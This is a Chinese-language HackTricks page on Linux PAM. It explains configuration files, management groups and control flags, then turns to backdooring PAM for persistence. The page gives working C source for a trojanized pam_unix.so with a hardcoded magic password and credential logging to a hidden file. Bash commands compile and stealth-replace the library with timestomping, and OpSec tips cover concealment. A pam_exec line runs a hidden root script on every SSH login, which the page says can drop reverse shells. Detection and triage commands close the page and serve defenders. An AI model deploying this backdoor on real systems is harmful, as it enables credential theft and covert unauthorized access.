PAM - Pluggable Authentication Modules
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
PAM (Pluggable Authentication Modules) 充当一种安全机制,验证试图访问计算机服务的用户身份,并根据各种条件控制其访问。它类似于数字门卫,确保只有被授权的用户可以使用特定服务,同时可限制他们的使用以防止系统过载。
配置文件
- Solaris 和基于 UNIX 的系统 通常使用位于
/etc/pam.conf的中央配置文件。 - Linux 系统 倾向于使用目录方式,将针对各服务的配置存放在
/etc/pam.d中。例如,login 服务的配置文件位于/etc/pam.d/login。
下面是 login 服务的 PAM 配置示例:
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
PAM 管理域
这些域或管理组包括 auth、account、password 和 session,各自负责认证与会话管理流程的不同方面:
- Auth:验证用户身份,通常通过提示输入密码。
- Account:处理账户验证,检查诸如组成员身份或时间限制等条件。
- Password:管理密码更新,包括复杂性检查或防止字典攻击。
- Session:在服务会话开始或结束时管理动作,例如挂载目录或设置资源限制。
PAM 模块控制
这些控制定义模块在成功或失败时的响应,影响整体认证流程。包括:
- Required:必需模块失败会导致最终失败,但只有在所有后续模块都被检查之后才生效。
- Requisite:一旦失败立即终止流程。
- Sufficient:成功将跳过同一域中其余检查,除非后续模块失败。
- Optional:仅当它是堆栈中唯一模块时才会导致失败。
示例场景
在配置了多个 auth 模块的环境中,过程按照严格顺序进行。如果 pam_securetty 模块发现登录终端未被授权,则会阻止 root 登录,但由于其 “required” 状态,所有模块仍会被处理。pam_env 设置环境变量,可能改善用户体验。pam_ldap 和 pam_unix 模块协同验证用户,pam_unix 会尝试使用先前提供的密码,从而提高认证方法的效率与灵活性。
Backdooring PAM – Hooking pam_unix.so
在高价值的 Linux 环境中,一个经典的持久化技巧是将合法的 PAM 库替换为一个被木马化的 drop-in。因为每次 SSH / 控制台登录最终都会调用 pam_unix.so:pam_sm_authenticate(),几行 C 代码就足以捕获凭证或实现一个 magic 密码绕过。
Compilation Cheatsheet
示例 `pam_unix.so` trojan
```c #define _GNU_SOURCE #includestatic int (*orig)(pam_handle_t *, int, int, const char **); static const char *MAGIC = “Sup3rS3cret!”;
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { const char *user, *pass; pam_get_user(pamh, &user, NULL); pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */ if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */ int fd = open(“/usr/bin/.dbus.log”, O_WRONLY|O_APPEND|O_CREAT, 0600); dprintf(fd, “%s:%s\n”, user, pass); close(fd);
/* Fall back to original function */ if(!orig) { orig = dlsym(RTLD_NEXT, “pam_sm_authenticate”); } return orig(pamh, flags, argc, argv); }
</details>
Compile and stealth-replace:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
OpSec Tips
- Atomic overwrite – 将文件写入临时文件并使用
mv替换到目标位置,以避免半写入的库导致 SSH 被锁定。 - Log file placement such as
/usr/bin/.dbus.log会与合法的桌面痕迹混淆。 - Keep symbol exports identical (
pam_sm_setcred, etc.) 以避免 PAM 行为异常。
检测
- 将
pam_unix.so的 MD5/SHA256 与发行版包进行比对。 - 使用
rpm -V pam或debsums -s libpam-modules在不手动哈希的情况下发现被替换的库。 - 检查
/lib/security/下是否存在 world-writable 或异常所有权。 auditdrule:-w /lib/security/pam_unix.so -p wa -k pam-backdoor.- 在 PAM 配置中查找异常模块:
grep -R "pam_[a-z].*\.so" /etc/pam.d/ | grep -v pam_unix.
快速初步排查命令 (post-compromise or threat hunting)
# 1) Spot alien PAM objects
find /{lib,usr/lib,usr/local/lib}{,64}/security -type f -printf '%p %s %M %u:%g %TY-%Tm-%Td\n' | grep -E 'pam_|libselinux'
# 2) Verify package integrity
command -v rpm >/dev/null && rpm -V pam || debsums -s libpam-modules
# 3) Identify non-packaged PAM modules
for f in /{lib,usr/lib,usr/local/lib}{,64}/security/*.so; do
dpkg -S "$f" >/dev/null 2>&1 || echo "UNPACKAGED: $f";
done
# 4) Look for stealth config edits
grep -R "pam_.*\.so" /etc/pam.d/ | grep -E 'plg|selinux|custom|exec'
滥用 pam_exec 实现持久性
与替换 pam_unix.so 不同,更轻的做法是在 /etc/pam.d/sshd 追加一行 pam_exec,这样每次 SSH 登录都会在保持正常堆栈不变的同时启动 implant:
# Prepend to /etc/pam.d/sshd
session optional pam_exec.so quiet /usr/local/bin/.ssh_hook.sh
pam_exec 在 sshd PAM 上下文中以 root 身份运行,因此脚本可以 drop reverse shells、收集 env vars,或重新打开已植入的 sockets,而无需对核心库的文件系统进行更改。
References
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


